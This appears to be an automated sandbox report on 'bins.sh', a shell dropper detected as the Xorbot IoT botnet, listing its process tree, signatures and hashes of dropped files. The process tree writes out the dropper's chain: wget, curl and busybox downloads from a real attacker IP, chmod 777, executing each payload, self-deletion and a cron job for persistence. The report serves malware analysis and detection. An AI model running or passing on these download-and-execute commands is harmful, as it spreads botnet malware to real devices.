Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02-12-2024 22:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    333efe28921c62bc81cebb18d9a6e7d6

  • SHA1

    de7c7c8d358a6d4ac49add9902ee77a9ebccfc66

  • SHA256

    0b484ebad0fae0be292db02d72f87470f7fe3e013ae3ef4d79d8795357b3fcf8

  • SHA512

    a148117669ec67c429297926d0e4d7ade365437adb2faf2e26870e00230c87f1e2914f06a7f445a4e2edc2afd678875c5aa7fdeda0061109994feeb4aef0bcb2

  • SSDEEP

    192:9MhNqbWTzY0aowDWJ1phC2Gt1gphWaQ7Ti++00SB141pb++EowDWJ1xhN8YTzYx5:yhNqbKaowDWJ1pXphWaQ7Ti+G1pb++E5

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1475
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1476
        • /usr/bin/wget
          wget http://216.126.231.240/bins/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • Writes file to tmp directory
          PID:1477
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • Writes file to tmp directory
          PID:1491
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • Writes file to tmp directory
          PID:1492
        • /bin/chmod
          chmod 777 pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • File and Directory Permissions Modification
          PID:1493
        • /tmp/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          ./pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • Executes dropped EXE
          PID:1494
        • /bin/rm
          rm pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
            PID:1496
          • /usr/bin/wget
            wget http://216.126.231.240/bins/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            2⤵
            • Writes file to tmp directory
            PID:1497
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            2⤵
            • Writes file to tmp directory
            PID:1506
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            2⤵
            • Writes file to tmp directory
            PID:1507
          • /bin/chmod
            chmod 777 o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            2⤵
            • File and Directory Permissions Modification
            PID:1508
          • /tmp/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            ./o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            2⤵
            • Executes dropped EXE
            PID:1509
          • /bin/rm
            rm o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            2⤵
              PID:1511
            • /usr/bin/wget
              wget http://216.126.231.240/bins/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              2⤵
              • Writes file to tmp directory
              PID:1512
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              2⤵
              • Writes file to tmp directory
              PID:1513
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              2⤵
              • Writes file to tmp directory
              PID:1514
            • /bin/chmod
              chmod 777 VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              2⤵
              • File and Directory Permissions Modification
              PID:1515
            • /tmp/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              ./VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              2⤵
              • Executes dropped EXE
              PID:1516
            • /bin/rm
              rm VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              2⤵
                PID:1518
              • /usr/bin/wget
                wget http://216.126.231.240/bins/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                2⤵
                • Writes file to tmp directory
                PID:1519
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                2⤵
                • Writes file to tmp directory
                PID:1520
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                2⤵
                • Writes file to tmp directory
                PID:1521
              • /bin/chmod
                chmod 777 paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                2⤵
                • File and Directory Permissions Modification
                PID:1522
              • /tmp/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                ./paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                2⤵
                • Executes dropped EXE
                PID:1523
              • /bin/rm
                rm paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                2⤵
                  PID:1525
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  2⤵
                  • Writes file to tmp directory
                  PID:1526
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  2⤵
                  • Writes file to tmp directory
                  PID:1527
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  2⤵
                  • Writes file to tmp directory
                  PID:1528
                • /bin/chmod
                  chmod 777 njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1529
                • /tmp/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  ./njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  2⤵
                  • Executes dropped EXE
                  PID:1530
                • /bin/rm
                  rm njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  2⤵
                    PID:1532
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                    2⤵
                    • Writes file to tmp directory
                    PID:1533
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                    2⤵
                    • Writes file to tmp directory
                    PID:1534
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                    2⤵
                    • Writes file to tmp directory
                    PID:1535
                  • /bin/chmod
                    chmod 777 HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1536
                  • /tmp/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                    ./HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                    2⤵
                    • Executes dropped EXE
                    PID:1537
                  • /bin/rm
                    rm HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                    2⤵
                      PID:1539
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                      2⤵
                      • Writes file to tmp directory
                      PID:1540
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                      2⤵
                      • Writes file to tmp directory
                      PID:1541
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                      2⤵
                      • Writes file to tmp directory
                      PID:1542
                    • /bin/chmod
                      chmod 777 N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1543
                    • /tmp/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                      ./N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                      2⤵
                      • Executes dropped EXE
                      PID:1544
                    • /bin/rm
                      rm N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                      2⤵
                        PID:1546
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                        2⤵
                        • Writes file to tmp directory
                        PID:1547
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                        2⤵
                        • Writes file to tmp directory
                        PID:1548
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                        2⤵
                        • Writes file to tmp directory
                        PID:1549
                      • /bin/chmod
                        chmod 777 3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1550
                      • /tmp/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                        ./3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                        2⤵
                        • Executes dropped EXE
                        PID:1551
                      • /bin/rm
                        rm 3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                        2⤵
                          PID:1553
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                          2⤵
                          • Writes file to tmp directory
                          PID:1554
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                          2⤵
                          • Writes file to tmp directory
                          PID:1555
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                          2⤵
                          • Writes file to tmp directory
                          PID:1556
                        • /bin/chmod
                          chmod 777 wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1557
                        • /tmp/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                          ./wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                          2⤵
                          • Executes dropped EXE
                          PID:1558
                        • /bin/rm
                          rm wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                          2⤵
                            PID:1560
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                            2⤵
                            • Writes file to tmp directory
                            PID:1561
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                            2⤵
                            • Writes file to tmp directory
                            PID:1562
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                            2⤵
                            • Writes file to tmp directory
                            PID:1563
                          • /bin/chmod
                            chmod 777 JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1564
                          • /tmp/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                            ./JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                            2⤵
                            • Executes dropped EXE
                            • Renames itself
                            • Reads runtime system information
                            PID:1565
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:1567
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:1568
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:1569
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      PID:1570
                                • /bin/rm
                                  rm JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                                  2⤵
                                    PID:1572
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/l8Y8Ix3FJZh1ZaSypblCYi8sBbc1j8AY6c
                                    2⤵
                                      PID:1575

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq

                                    Filesize

                                    127KB

                                    MD5

                                    89077b7bd4bcafca7713be43635c4862

                                    SHA1

                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                    SHA256

                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                    SHA512

                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                  • /tmp/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt

                                    Filesize

                                    141KB

                                    MD5

                                    3ca8decdb1e52c423c521bfff02ac200

                                    SHA1

                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                    SHA256

                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                    SHA512

                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                  • /tmp/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB

                                    Filesize

                                    99KB

                                    MD5

                                    9438d9bc392bcf300a5583b6df5bc8f6

                                    SHA1

                                    375a6ae34b516f6f3eeea8030c4084f585017efa

                                    SHA256

                                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                    SHA512

                                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                  • /tmp/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /tmp/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W

                                    Filesize

                                    111KB

                                    MD5

                                    ca897a38f23ec23521ce0b1b83f8422d

                                    SHA1

                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                    SHA256

                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                    SHA512

                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                  • /tmp/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi

                                    Filesize

                                    117KB

                                    MD5

                                    849fa04ef88a8e8de32cb2e8538de5fe

                                    SHA1

                                    c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                    SHA256

                                    8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                    SHA512

                                    2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                  • /tmp/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz

                                    Filesize

                                    122KB

                                    MD5

                                    cd3d4b9c643e5b473fb4d88ed05f0716

                                    SHA1

                                    64ee7a97418583d759eaea8000890cc3bae1b5f4

                                    SHA256

                                    0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                    SHA512

                                    164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                  • /tmp/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV

                                    Filesize

                                    107KB

                                    MD5

                                    eb9c3a0de91fcf16ba17cb24608df68c

                                    SHA1

                                    09d95a7d70d5e115d103be51edff7c498d272fac

                                    SHA256

                                    dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                    SHA512

                                    9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                  • /tmp/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4

                                    Filesize

                                    151KB

                                    MD5

                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                    SHA1

                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                    SHA256

                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                    SHA512

                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                  • /tmp/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C

                                    Filesize

                                    151KB

                                    MD5

                                    6c583043d91c55aa470c08c87058e917

                                    SHA1

                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                    SHA256

                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                    SHA512

                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                  • /var/spool/cron/crontabs/tmp.egIxP7

                                    Filesize

                                    210B

                                    MD5

                                    91876dda7ea93488fb5d8376d525ccda

                                    SHA1

                                    0160ff9a87b75f674efaf0e0db5f2d7807463af8

                                    SHA256

                                    47301fcd850afa604d309638cce02453a35c92cc439cc2a655de752c871e38bc

                                    SHA512

                                    e83939c6159131d548f74d2f76133856003ed2874f65cb97984e2cd9317b4c7d84ad100b045a0010e82ca3fab9b51c33b7f55c93a151ee2d1e1ddf28e0330355